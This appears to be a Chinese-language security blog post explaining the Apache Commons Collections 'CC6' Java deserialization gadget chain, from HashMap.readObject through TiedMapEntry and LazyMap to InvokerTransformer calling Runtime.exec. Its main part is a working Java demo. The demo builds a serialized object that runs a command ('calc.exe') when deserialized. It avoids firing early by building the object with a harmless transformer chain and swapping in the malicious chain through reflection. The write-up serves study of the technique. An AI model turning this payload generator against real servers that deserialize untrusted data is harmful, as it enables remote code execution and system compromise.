954 字
5 分钟
cc6

一,链条总览#

ObjectInputStream.readobject()

->HashMap.readObject()

->hash(key)

->TiedMapEntry.hashCode()

->getValue(key)

->LazyMap.get(key)

->lazyMap.factory().transform()

->ChainedTransformer().transform()

->InvokerTransformer.invoke()

->Runtime.getRuntime().exec()

二,关键类及机制#

1.HashMap

2.LazyMap

当从 map 中取一个不存在的键时会触发懒加载,调用预定义的工厂函数,LazyMap.decorate(map,factory)

3.TiedMapEntry

Map.Entry 的一个实现,存储一个 Map 和 key,调用 getValue 时返回 Map.get(key),而在 hashCode 时会调用 getValue()

4.InvokTransformer

实现了 Transformer 接口的类,构造函数传入要调用的方法,参数类型,参数数组,在 transform 调用时通过反射获取目标对象对应的帆帆发,并执行调用

5.ChainedTransformer

Transformer 类,存储一个 Transformer 数组,调用 transform 方法时对数组元素逐个调用 transform方法,并将上一个的输出作为下一个方法的输入

6.ConstantTransformer

ConstantTransformer 无论输入是什么,调用 transform 时都直接返回构造时存入的常量对象

return iConstant f 安徽构造是保存的固定对象

三,详细步骤#

1.ObjectInputStream.readobject()

2.反序列化时 HashMap 会对 key 重新进行 hash,确定存储桶的位置

HashMap.readObject()中:

将 key 进行重新 hash,恢复整个存储结构

3.TiedMap.hashCode

TiedMap 进行 hash 时会取出 map 中 key 对应的值进行 hash,当调用 map.getValue()时又会触发 map.get(key)

4.LazyMap.get(key)

当调用 LazyMap.get()方法时会先检查 key 是否存在,如果不存在就会调用工厂函数对 key 进行处理,最后将 key,value 重新 put 进 map

5.ChainedTransformer.transformer

四,demo 实现#

package com.transformer;
import javax.lang.model.util.SimpleElementVisitor14;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
Transformer[] evilchain={
new ConstantTransformer(Runtime.class),//拿到Runtime.class
new MyInvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),//上一步的Class对象调用getMethod方法拿到getRuntime
new MyInvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),//调用getRuntime拿到Runtime实例
new MyInvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)//通过exec执行命令
};
//无害链子
Transformer[] fakechain= {new ConstantTransformer(1)
};
//构造阶段执行无害链子不触发命令执行
ChainedTransformer chained = new ChainedTransformer(fakechain);
Map map = new HashMap<Integer,String>();
MiniLazyMap lazyMap=new MiniLazyMap(map,chained );
// lazyMap.get('a');
// lazyMap.get(1);
MiniTiedMapEntry entry=new MiniTiedMapEntry(lazyMap,"test");
HashMap<Object,Object> triggerMap = new HashMap<>();
System.out.println("构造阶段,调用hashCode");
triggerMap.put(entry,"value");
//lazyMap.get()中key不存在触发链子后会添加key导致后面反序列化不在执行
lazyMap.remove("test");
//利用反射动态修改属性替换成恶意链子
Field field=ChainedTransformer.class.getDeclaredField("transformers");
field.setAccessible(true);
field.set(chained,evilchain);
System.out.println("开始序列化");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("mini-cc1.ser"));
oos.writeObject(triggerMap);
oos.close();
//反序列化时 HashMap 会重新计算 key 的 hash,触发 key.hashCode()
//到服务器端反序列化时执行恶意链子
System.out.println("开始反序列化");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("mini-cc1.ser"));
ois.readObject();
ois.close();
}
}

整个链子通过反序列化触发 HashMap 的 hash 方法(入口不唯一,反序列化时能重新对 key 进行 hash 就行,如 HashSet、HashTable 等),对 HashMap 的 key 重新进行 hash,我们将这个 key 替换成 TiedMapEntry,该类的 hashCode 方法会调用 getValue()->map.getValue(key),我们只需将 map 替换成一个 LazyMap 类,这样就会执行 LazyMap.get(key),LazyMap 具有懒加载机制,在创建的时候可以通过 LazyMap.decorate(map,factory)传入一个 Transformer 类的工厂类,当调用 get 方法时就会触发工厂类的 transform 方法去对传入的 key 进行处理,因为传入的 key 多半是 String 类型,反正不会是 Runtime 类型,所以我们需要通过 ConstantTransformer 类对 ChainedTransformer 链子 提供一个固定起点,所以传入 ConstantTransfirmer(Runtime.class),这样后面也会 基于 Runtime 类进行反复的反射调用,知道执行恶意命令,同时工厂类调用过后会重新 put(key,value),所以在后面还需要 lazyMap.remove(key),因为开始 hashMap.put()时就会触发 hash,执行整个链子,所以这时就会将本不存在的 key put 进 map,所以需要删除,确保到服务端后能重新触发,同时我们开始时构造一个无害链子,让在本地进行 put 时不触发,然后通过反射替换属性,将无害链子替换成有害链子,防止在本地提前触发利用

cc6
https://lab404.cn/posts/cc6/
作者
见山
发布于
2026-05-31
许可协议
CC BY-NC-SA 4.0